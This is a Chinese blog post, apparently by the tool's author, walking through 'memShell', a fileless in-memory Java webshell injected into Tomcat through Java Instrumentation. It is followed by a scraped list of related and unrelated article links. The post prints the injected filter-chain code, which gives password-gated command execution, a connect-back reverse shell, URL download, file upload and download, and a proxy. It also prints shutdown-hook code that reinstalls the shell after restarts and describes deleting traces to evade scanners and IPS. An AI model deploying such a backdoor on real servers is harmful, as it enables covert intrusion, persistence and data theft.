引子

上周末,一个好兄弟找我说一个很重要的目标shell丢了,这个shell之前是通过一个S2代码执行的漏洞拿到的,现在漏洞还在,不过web目录全部不可写,问我有没有办法搞个webshell继续做内网。正好我之前一直有个通过“进程注入”来实现内存webshell的想法,于是就趁这个机会以Java为例做了个内存webshell出来(暂且叫它memShell吧),给大家分享一下:)

前言

一般在渗透过程中,我们通常会用到webshell,一个以文件的形式存在于Web容器内的恶意脚本文件。我们通过webshell来让Web Server来执行我们的任意指令。如果在某些机选情况下,我们不想或者不能在Web目录下面写入文件,是不是就束手无策了?当然不是,写入webshell并不是让Web Server来执行我们任意代码的唯一方式,通过直接修改进程的内存也可以实现这个目的。我们只要拥有一个web容器进程执行用户的权限,理论上就可以完全控制该进程的地址空间(更确切的说是地址空间中的非Kernel部分),包括地址空间内的数据和代码。OS层进程注入的方法有很多,不过具体到Java环境,我们不需要使用操作系统层面的进程注入方法。Java为我们提供了更方便的接口,Java Instrumentation。

Java Instrumentation简介

先看下官方概念:java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单一句话概括下:Java Instrumentation可以在JVM启动后,动态修改已加载或者未加载的类,包括类的属性、方法。该机制最早于Java SE5 引入,Java SE6之后的机制相对于Java SE5有较大改进,因为现在Java SE5这种古董级别的环境已经不多,此处不再赘述。

下面看一个简单的例子:首先新建3个Java工程Example、Agent和AgentStarter。

1.在工程Example中新建2个类:

Bird.java:

  1. public class Bird {
  2. public void say()
  3. {
  4. System.out.println("bird is gone.");
  5. }
  6. }

然后把编译后的Bird.class复制出来,放到D盘根目录。然后把Bird.java再改成如下:

Bird.java:

  1. public class Bird {
  2. public void say()
  3. {
  4. System.out.println("bird say hello");
  5. }
  6. }

Main.java:

  1. public class Main {
  2. public static void main(String[] args) throws Exception {
  3. // TODO Auto-generated method stub
  4. while(true)
  5. {
  6. Bird bird=new Bird();
  7. bird.say();
  8. Thread.sleep(3000);
  9. }
  10. }
  11. }

把整个工程打包成可执行jar包normal.jar,放到D盘根目录。

2.在工程Agent中新建2个类:

AgentEntry.java:

  1. public class AgentEntry {
  2. public static void agentmain(String agentArgs, Instrumentation inst)
  3. throws ClassNotFoundException, UnmodifiableClassException,
  4. InterruptedException {
  5. inst.addTransformer(new Transformer (), true);
  6. Class[] loadedClasses = inst.getAllLoadedClasses();
  7. for (Class c : loadedClasses) {
  8. if (c.getName().equals("Bird")) {
  9. try {
  10. inst.retransformClasses(c);
  11. } catch (Exception e) {
  12. // TODO Auto-generated catch block
  13. e.printStackTrace();
  14. }
  15. }
  16. }
  17. System.out.println("Class changed!");
  18. }
  19. }

Transformer.java:

  1. public class Transformer implements ClassFileTransformer {
  2. static byte[] mergeByteArray(byte[]... byteArray) {
  3. int totalLength = 0;
  4. for(int i = 0; i < byteArray.length; i ++) {
  5. if(byteArray[i] == null) {
  6. continue;
  7. }
  8. totalLength += byteArray[i].length;
  9. }
  10. byte[] result = new byte[totalLength];
  11. int cur = 0;
  12. for(int i = 0; i < byteArray.length; i++) {
  13. if(byteArray[i] == null) {
  14. continue;
  15. }
  16. System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length);
  17. cur += byteArray[i].length;
  18. }
  19. return result;
  20. }
  21. public static byte[] getBytesFromFile(String fileName) {
  22. try {
  23. byte[] result=new byte[] {};
  24. InputStream is = new FileInputStream(new File(fileName));
  25. byte[] bytes = new byte[1024];
  26. int num = 0;
  27. while ((num = is.read(bytes)) != -1) {
  28. result=mergeByteArray(result,Arrays.copyOfRange(bytes, 0, num));
  29. }
  30. is.close();
  31. return result;
  32. } catch (Exception e) {
  33. e.printStackTrace();
  34. return null;
  35. }
  36. }
  37. public byte[] transform(ClassLoader classLoader, String className, Class<?> c,
  38. ProtectionDomain pd, byte[] b) throws IllegalClassFormatException {
  39. if (!className.equals("Bird")) {
  40. return null;
  41. }
  42. return getBytesFromFile("d:/Bird.class");
  43. }
  44. }

新建一个mainfest文件:

MAINFEST.MF:

  1. Manifest-Version: 1.0
  2. Agent-Class: AgentEntry
  3. Can-Retransform-Classes: true

然后把Agent工程打包为agent.jar,放到D盘根目录。

3.在AgentStarter工程中新建1个类:

Attach.java:

  1. public class Attach {
  2. public static void main(String[] args) throws Exception {
  3. VirtualMachine vm = null;
  4. List<VirtualMachineDescriptor> listAfter = null;
  5. List<VirtualMachineDescriptor> listBefore = null;
  6. listBefore = VirtualMachine.list();
  7. while (true) {
  8. try {
  9. listAfter = VirtualMachine.list();
  10. if (listAfter.size() <= 0)
  11. continue;
  12. for (VirtualMachineDescriptor vmd : listAfter) {
  13. vm = VirtualMachine.attach(vmd);
  14. listBefore.add(vmd);
  15. System.out.println("i find a vm,agent.jar was injected.");
  16. Thread.sleep(1000);
  17. if (null != vm) {
  18. vm.loadAgent("d:/agent.jar");
  19. vm.detach();
  20. }
  21. }
  22. break;
  23. } catch (Exception e) {
  24. e.printStackTrace();
  25. }
  26. }
  27. }
  28. }

把AgentStarter打包成可执行jar包run.jar,放到D盘根目录。这时候,D盘根目录列表如下:

下面开启两个命令行窗口,先运行normal.jar,再运行run.jar:

很明显我们动态改变了正在执行的normal.jar进程中Bird类的say方法体。OK,基本原理就介绍到这里,下面我们拿tomcat来实操。

确定关键类

我们想要实现这样一种效果,访问web服务器上的任意一个url,无论这个url是静态资源还是jsp文件,无论这个url是原生servlet还是某个struts action,甚至无论这个url是否真的存在,只要我们的请求传递给tomcat,tomcat就能相应我们的指令。为了达到这个目的,需要找一个特殊的类,这个类要尽可能在http请求调用栈的上方,又不能与具体的URL有耦合,而且还能接受客户端request中的数据。经过分析,发现org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法最符合我们的要求,首先看一下internalDoFilter方法的原型:

  1. private void internalDoFilter(ServletRequest request, ServletResponse response)
  2. throws IOException, ServletException {}

该方法有ServletRequest和ServletResponse两个参数,里面封装了用户请求的request和response。另外,internalDoFilter方法是自定义filter的入口,如下图:

市面上各种流行的Java Web类框架,都是通过一个自定义filter来接管用户请求的,所以在在internalDoFilter方法中注入通用型更强。下面我们要做的就是修改internalDoFilter方法的字节码,一般用asm或者javaassist来协助修改字节码。asm执行性能高,不过易用性差,一般像RASP这种对性能要求比较高的产品会优先采用。javaassist执行性能稍差,不过是源代码级的,易用性较好,本文即用此方法。

定制internalDoFilter

internalDoFilter是memShell接收用户请求的入口,我们在方法开始处插入如下的代码段(节选):

  1. try
  2. {
  3. if (pass_the_world!=null&&pass_the_world.equals("rebeyond"))
  4. {
  5. if (model==null||model.equals(""))
  6. {
  7. result=Shell.help();
  8. }
  9. else if (model.equalsIgnoreCase("exec"))
  10. {
  11. String cmd=request.getParameter("cmd");
  12. result=Shell.execute(cmd);
  13. }
  14. else if (model.equalsIgnoreCase("connectback"))
  15. {
  16. String ip=request.getParameter("ip");
  17. String port=request.getParameter("port");
  18. result=Shell.connectBack(ip, port);
  19. }
  20. else if (model.equalsIgnoreCase("urldownload"))
  21. {
  22. String url=request.getParameter("url");
  23. String path=request.getParameter("path");
  24. result=Shell.urldownload(url, path);
  25. }
  26. else if (model.equalsIgnoreCase("list"))
  27. {
  28. String path=request.getParameter("path");
  29. result=Shell.list(path);
  30. }
  31. else if (model.equalsIgnoreCase("download"))
  32. {
  33. String path=request.getParameter("path");
  34. java.io.File f = new java.io.File(path);
  35. if (f.isFile()) {
  36. String fileName = f.getName();
  37. java.io.InputStream inStream = new java.io.FileInputStream(path);
  38. response.reset();
  39. response.setContentType("bin");
  40. response.addHeader("Content-Disposition", "attachment; filename=\"" + fileName + "\"");
  41. byte[] b = new byte[100];
  42. int len;
  43. while ((len = inStream.read(b)) > 0)
  44. response.getOutputStream().write(b, 0, len);
  45. inStream.close();
  46. return;
  47. }
  48. }
  49. else if (model.equalsIgnoreCase("upload"))
  50. {
  51. String path=request.getParameter("path");
  52. String fileContent=request.getParameter("fileContent");
  53. result=Shell.upload(path, fileContent);
  54. }
  55. else if (model.equalsIgnoreCase("proxy"))
  56. {
  57. new Proxy().doProxy(request, response);
  58. return;
  59. }
  60. else if (model.equalsIgnoreCase("chopper"))
  61. {
  62. new Evaluate().doPost(request, response);
  63. return;
  64. }
  65. response.getWriter().print(result);
  66. return;
  67. }
  68. }
  69. catch(Exception e)
  70. {
  71. response.getWriter().print(e.getMessage());
  72. }

首先判断是否有pass_the_world密码字段,如果请求中没有带pass_the_world字段,说明是正常的访问请求,直接转到正常的处理流程中去,不进入webshell流程,避免影响正常业务。如果请求中有pass_the_world字段且密码正确,再判断当前请求的model类型,分别分发到不通的处理分支中去。为了避免对internalDoFilter自身做太大的改动,我把一些比较复杂的逻辑抽象到了外部agent.jar中去实现,由于外部jar包和javax.servlet相关的类classloader不一致,外部jar包中用到了反射的方法去执行一些无法找到的类,比如ServletRquest、ServletResponse等。

最终我们生成了2个jar包,一个inject.jar(功能类似前文demo中的run.jar),用来枚举当前机器上的jvm实例并进行代码注入。一个agent.jar,包含我们自定义的常见shell类功能,agent.jar会被inject.jar注入到tomcat进程中。执行java –jar inject.jar完成进程注入动作之后,可以把这两个jar包删除,这样我们就拥有了一个memShell,完全存在于内存中的webshell,硬盘上没有任何痕迹,再也不用担心各种webshell扫描工具,IPS,页面防篡改系统,一切看上去好像很完美。

但是……

内存中的数据,在进程关闭后就会丢失,如果tomcat被重启,我们的webshell也会随之消失,那岂不是然并卵?当然不是。

复活技术

既然文章标题提到了我们要实现的是不死webshell,就一定要保证在tomcat服务重启后还能存活。memShell通过设置Java虚拟机的关闭钩子ShutdownHook来达到这个目的。ShutdownHook是JDK提供的一个用来在JVM关掉时清理现场的机制,这个钩子可以在如下场景中被JVM调用:

  • 1.程序正常退出

  • 2.使用System.exit()退出

  • 3.用户使用Ctrl+C触发的中断导致的退出

  • 4.用户注销或者系统关机

  • 5.OutofMemory导致的退出

  • 6.Kill pid命令导致的退出所以ShutdownHook可以很好的保证在tomcat关闭时,我们有机会埋下复活的种子:)如下为我们自定义的ShutdownHook代码片段:

    1. public static void persist() {
    2. try {
    3. Thread t = new Thread() {
    4. public void run() {
    5. try {
    6. writeFiles("inject.jar",Agent.injectFileBytes);
    7. writeFiles("agent.jar",Agent.agentFileBytes);
    8. startInject();
    9. } catch (Exception e) {
    10. }
    11. }
    12. };
    13. t.setName("shutdown Thread");
    14. Runtime.getRuntime().addShutdownHook(t);
    15. } catch (Throwable t) {
    16. }

JVM关闭前,会先调用writeFiles把inject.jar和agent.jar写到磁盘上,然后调用startInject,startInject通过Runtime.exec启动java -jar inject.jar。

memShell流程梳理

下面我们来梳理一下memShell的整个植入流程:

  • 1.将inject.jar和agent.jar上传至目标Web Server任意目录下。
  • 2.以tomcat进程启动的OS用户执行java –jar inject.jar。
  • 3.inject.jar会通过一个循环遍历查找Web Server上的JVM进程,并把agent.jar注入进JVM进程中,直到注入成功后,inject.jar才会退出。
  • 4.注入成功后,agent.jar执行agentmain方法,该方法主要做以下几件事情:
    • a) 遍历所有已经加载的类,查找“org.apache.catalina.core.ApplicationFilterChain”,并对该类的internalDoFilter方法进行修改。
    • b) 修改完之后,把磁盘上的inject.jar和agent.jar读进tomcat内存中。
    • c) 对memShell做初始访问。为什么要做一次初始化访问呢?因为我们下一步要从磁盘上删掉agent.jar和inject.jar,在删除之前如果没有访问过memShell的话,memShell相关的一些类就不会加载进内存,这样后续我们在访问memShell的时候就会报ClassNotFound异常。有两种方法初始化类,第一是挨个把需要的类手动加载一次,第二是模拟做一次初始化访问,memShell采用的后者。
    • d) 删除磁盘上的inject.jar和agent.jar。当Web Server是Linux系统的时候,正常删除文件即可。当Web Server是Windows系统的时候,由于Windows具有文件锁定机制,当一个文件被其他程序占用时,这个文件是处于锁定状态不可删除的,inject.jar正在被JVM所占用。要删除这个jar包,需要先打开该进程,遍历该进程的文件句柄,通过DuplicateHandle来巧妙的关闭文件句柄,然后再执行删除,我把这个查找句柄、关闭句柄的操作写进了一个exe中,memShell判断WebServer是Windows平台时,会先释放这个exe文件来关闭句柄,再删除agent.jar。
  • 5.memShell注入完毕,正常接收请求,通过访问http://xxx/anyurl?show_the_world=password可以看到plain风格的使用说明(为什么是plain风格,因为懒)。
  • 6.当JVM关闭时,会首先执行我们注册的ShutdownHook:
    • a)把第4(b)步中我们读进内存的inject.jar和agent.jar写入JVM临时目录。
    • b)执行java -jar inject.jar,此后过程便又回到上述第3步中,形成一个闭环结构。

到此,memShell的整个流程就介绍完毕了。

memShell用法介绍

  • 1.memShell实现了常见的webshell的功能,像命令执行:

  • 2.memShell通过内嵌reGeorg实现了socks5代理转发功能,方便内网渗透:

    这里要说明一下,因为reGeorg官方的reGeorgSocksProxy.py不支持带参数的URL,所有我们要稍微改造一下reGeorgSocksProxy.py:

    把第375行改成上图所示即可。

  • 3.memShell内嵌了菜刀一句话:

  • 4.只设置访问密码,不设置model类型可查看plain style的help:

后记

本文仅以Java+tomcat为例来介绍内存webshell的原理及实现,其他几种容器如JBOSS、WebLogic等,只是“定位关键类”那一步稍有不同,其他环节都是通用的。理论上其他几种语言同样可以实现类似的功能,我就算给大家抛砖引玉了。

Github代码地址:https://github.com/rebeyond/memShell

  里面有很多功能还有可以改进的地方,后面有时间再慢慢完善吧。

最后,华为终端云SilverNeedle团队诚招各路安全人才(APT方向),待遇优厚,欢迎推荐和自荐:)

参考

【原创】利用“进程注入”实现无文件不死webshell的更多相关文章

  1. 利用“进程注入”实现无文件复活 WebShell

    引子 上周末,一个好兄弟找我说一个很重要的目标shell丢了,这个shell之前是通过一个S2代码执行的漏洞拿到的,现在漏洞还在,不过web目录全部不可写,问我有没有办法搞个webshell继续做内网 ...

  2. 渗透测试之无文件渗透简单使用-windows

    无文件渗透测试工作原理:无文件恶意程序最初是由卡巴斯基在2014年发现的,一直不算是什么主流的攻击方式,直到此次事件的发生.说起来无文件恶意程序并不会为了执行而将文件或文件夹复制到硬盘上,反而是将pa ...

  3. MySQL注入 利用系统读、写文件

    目录 能读写文件的前提 Windows下的设置 Linux下的设置 没有读写权限的尝试 有SQL注入点,确认是否有读写权限 read load_file() load data infile() wr ...

  4. Linux 利用进程打开的文件描述符(/proc)恢复被误删文件

    Linux 利用进程打开的文件描述符(/proc)恢复被误删文件 在 windows 上删除文件时,如果文件还在使用中,会提示一个错误:但是在 linux 上删除文件时,无论文件是否在使用中,甚至是还 ...

  5. 利用lsof去查看Unix/Linux进程打开了哪些文件

    利用lsof去查看Unix/Linux进程打开了哪些文件 今天用了一下lsof,发现这个linux的小工具,功能非常强大而且好用. 我们可以方便的用它查看应用程序进程打开了哪些文件或者对于特定的一个文 ...

  6. 利用WinRM实现内网无文件攻击反弹shell

    利用WinRM实现内网无文件攻击反弹shell 原文转自:https://www.freebuf.com/column/212749.html 前言 WinRM是Windows Remote Mana ...

  7. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  8. linux无文件执行— fexecve 揭秘

    前言 良好的习惯是人生产生复利的有力助手. 继续2020年的flag,至少每周更一篇文章. 无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux上 ...

  9. Linux的进程、线程、文件描述符是什么

    说到进程,恐怕面试中最常见的问题就是线程和进程的关系了,那么先说一下答案:在 Linux 系统中,进程和线程几乎没有区别. Linux 中的进程就是一个数据结构,看明白就可以理解文件描述符.重定向.管 ...

随机推荐

  1. Jenkins 进阶篇 - 权限配置

    Jenkins的授权策略 Jenkins 默认的授权策略是[登录用户可以做任何事],也就是人人都是管理员,可以修改所有的设置以及构建所有的任务,不用做任何设置,有账号登录到 Jenkins 系统即可, ...

  2. Postman团队协作开发

    介绍 Postman是一款强大的API开发调试软件,它跨平台(真正跨平台,支持linux/mac os/windows),同时还提供浏览器插件,可以说是一个良心软件, 今天主要说一下Postman团队 ...

  3. JDBC:MySQL5.x 与 MySQL8.x

    jar包下载地址: https://dev.mysql.com/downloads/connector/j/ 或者 :http://central.maven.org/maven2/mysql/mys ...

  4. Spring Ioc和依赖注入

    总结一下近来几天的学习,做个笔记 以下是Spring IoC相关内容: IoC(Inversion of Control):控制反转: 其主要功能可简单概述为:将 用 new 去创建实例对象,转换为让 ...

  5. WPF使用Microsoft.VisualBasic创建单例模式引起的权限降低问题

    在进行WPF开发时,总是在找更加优雅去写单例模式的代码. 很多人都喜欢用Mutex,一个App.cs下很多的Mutex,我也喜欢用. 看完<WPF编程宝典>的第七章Applicaton类后 ...

  6. MySQL 那些常见的错误设计规范

    依托于互联网的发达,我们可以随时随地利用一些等车或坐地铁的碎片时间学习以及了解资讯.同时发达的互联网也方便人们能够快速分享自己的知识,与相同爱好和需求的朋友们一起共同讨论. 但是过于方便的分享也让知识 ...

  7. C++ MFC应用程序开发实例

    MFC:微软基础类(Microsoft Foundation Classes),同VCL类似,是一种应用程序框架,随微软Visual C++ 开发工具发布.作为Application Framewor ...

  8. ssh服务两句话

    ssh服务采用"非对称密钥系统":主要通过两把不一样的公钥和密钥来进行加密与解密的过程 公钥(Public Key):提供给远程主机进行数据加密 私钥(Private Key):远 ...

  9. PYTHON3.4.4 升级pip

    python -m pip install --upgrade pipupgrade 前面是两个 "-" 

  10. asp.net 网页图片URL

    "upload/"+Eval("kemu")+"/"+Eval("tx")+".jpg" " ...